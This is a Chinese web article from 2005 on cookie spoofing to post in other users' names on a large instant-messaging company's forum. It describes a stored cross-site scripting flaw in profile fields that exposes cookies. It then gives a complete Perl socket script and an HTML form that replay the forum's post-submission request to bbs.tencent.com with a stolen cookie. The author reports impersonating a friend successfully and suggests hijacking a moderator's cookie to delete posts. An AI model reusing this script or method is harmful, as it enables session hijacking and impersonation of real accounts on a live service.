电脑爱好者,提供IT资讯信息及各类编程知识文章介绍,欢迎大家来本站学习电脑知识。 最近更新 | 联系我们 RSS订阅本站最新文章
电脑爱好者
站内搜索: 
当前位置:首页>> 网络安全>>Cookie欺骗之冒名发贴:

Cookie欺骗之冒名发贴

来源:远方网络 | 2005-4-14 15:58:18 | (有1974人读过)



有许多网友说跨站脚本执行漏洞没有什么价值,今天我以中国最大的即时通讯站点为例,经过观察发现个人资料栏里可以嵌入脚本,如访问下列链接:

http://bbs.******.com/cgi-bin/liuyan/bbs_ly_edit?Plogin_name=6595692

可以发现你的cookie资料。skey=D55KnKpYUm; uin=o6884**,最后就*号代替了。



我就考虑了怎么利用他来冒充别人发贴子,讨厌就讨厌在这个站点要经验值>=3才能发帖,气的我只吐血,我的经验值是-5,只能换个qq上去了,害的我等了6分钟才能进行测试。



进入**,随便找个电脑-安全版块进行测试。



找到发贴的连接,打开他的原文件,改成get 方式和绝对路径,存盘,用自己的页面随便提交了帖子。抓到如下的资料,

http://bbs.******.com/cgi-bin/bbs/bbs_post_submit?title=%B4%F3%BC%D2%BA%C3%B0%A1&content=&content1=&content2=&icon_id=11&sign=1&text=%B4%F3%BC%D2%BA%C3%B0%A1%B4%F3%BC%D2%BA%C3%B0%A1%B4%F3%BC%D2%BA%C3%B0%A1%B4%F3%BC%D2%BA%C3%B0%A1&type=a&messtype=&back=11&groupid=102%3A10057&messageid=&replymsgid=&tbegnum=0&cbegnum=&path=&st=&sc=&club=



转换一下编码方式,看的清楚点。



变成如下:



http://bbs.******.com/cgi-bin/bbs/bbs_post_submit?title=大家好啊&content=&content1=&content2=&icon_id=11&sign=1&text=大家好啊大家好啊大家好啊大家好啊&type=a&messtype=&back=11&groupid=102:10057&messageid=&replymsgid=&tbegnum=0&cbegnum=&path=&st=&sc=&club=



老用这种方式提交不方便啊,就写了个简单的perl socket脚本如下

---------------------------------------------------------------------

#!/usr/bin/perl --

use Socket;

################################################

# DO NOT EDIT ANYTHING BEYOND THIS LINE #

################################################

#push (@INC,"../perl-lib");

#require 'cgi-lib.pl';

&ReadParse(*form_data);

$title = $form_data{'title'};

$text = $form_data{'text'};

$cookie = $form_data{'cookie'};

$host = "bbs.tencent.com";

$port = 80;



$req = "GET /cgi-bin/bbs/bbs_post_submit?title=$title&content=&content1=&content2=&icon_id=11&sign=1&text=$text&type=a&messtype=&back=11&groupid=102:10057&messageid=&replymsgid=&tbegnum=0&cbegnum=&path=&st=&sc=&club= HTTP/1.1\r\n".

"Host: $host\r\n".

"Accept: */*\r\n".

"Cookie: $cookie\n\n";

@re =sendraw($req);



print "Content-type: text/html\n\n";

print "@re\n";



sub sendraw {

my ($req) = @_;

my $target;

$target = inet_aton($host) || die("inet_aton problems");

socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");

if(connect(S,pack "SnA4x8",2,$port,$target)){

select(S);

$| = 1;

print $req;

my @res = <S>;

select(STDOUT);

close(S);

return @res;

}

else {

die("Can't connect...\n");

}

}



# ReadParse

# Reads in GET or POST data, converts it to unescaped text, and puts

# one key=value in each member of the list "@in"

# Also creates key/value pairs in %in, using '\0' to separate multiple

# selections



# If a variable-glob parameter (e.g., *cgi_input) is passed to ReadParse,

# information is stored there, rather than in $in, @in, and %in.



sub ReadParse {

local (*in) = @_ if @_;



local ($i, $loc, $key, $val);



# Read in text

if ($ENV{'REQUEST_METHOD'} eq "GET") {

$in = $ENV{'QUERY_STRING'};

} elsif ($ENV{'REQUEST_METHOD'} eq "POST") {

read(STDIN,$in,$ENV{'CONTENT_LENGTH'});

}



@in = split(/&/,$in);



foreach $i (0 .. $#in) {

# Convert plus's to spaces

$in[$i] =~ s/\+/ /g;



# Split into key and value.

($key, $val) = split(/=/,$in[$i],2); # splits on the first =.



# Convert %XX from hex numbers to alphanumeric

$key =~ s/%(..)/pack("c",hex($1))/ge;

$val =~ s/%(..)/pack("c",hex($1))/ge;



# Associate key and value

$in{$key} .= "\0" if (defined($in{$key})); # \0 is the multiple separator

$in{$key} .= $val;



}



return 1; # just for fun

}



----------------------------------------------------------------------

客户段就用下面的了

《form name="dform" action="http://www.xxxxxx.net/cgi-bin/tencent.cgi" method="post" 》

title:《input type="text" name="title" size="10"》 《br》

text: 《input type="text" name="text" size="10"> 《br》

cookie:《input type="text" name="cookie" size="10"》 《br》

     <input type="submit" value="go):--"> 《br》《br》

《/form》



没办法,就用《》代替,ie要把txt 文件认为是html的。



---------------------------------------------------------------------------------------

我先用我的cookie测试发帖了,成功通过。于是马上登陆qq站点。拉了个好友1d帮助测试,结果成功的冒充1d发了帖子。

---------------------------------------------------------------------------------------

后话:

既然可以冒充人发帖子,想来冒充斑竹删帖子也不会很难吧,当然前提得要截获了斑竹的cookie,具体截获cookie部分请参考analysist的文章 跨站脚本执行漏洞详解以及跨站脚本执行漏洞详解(续)。



注意:商业转载请联系WWW.China4lert.ORG



上一篇cookie欺骗教程
下一篇黑客基础入门
网络安全热门文章排行
网站赞助商
购买此位置

 

关于我们 | 网站地图 | 文档一览 | 友情链接| 联系我们

Copyright © 2003-2024 电脑爱好者 版权所有 备案号:鲁ICP备09059398号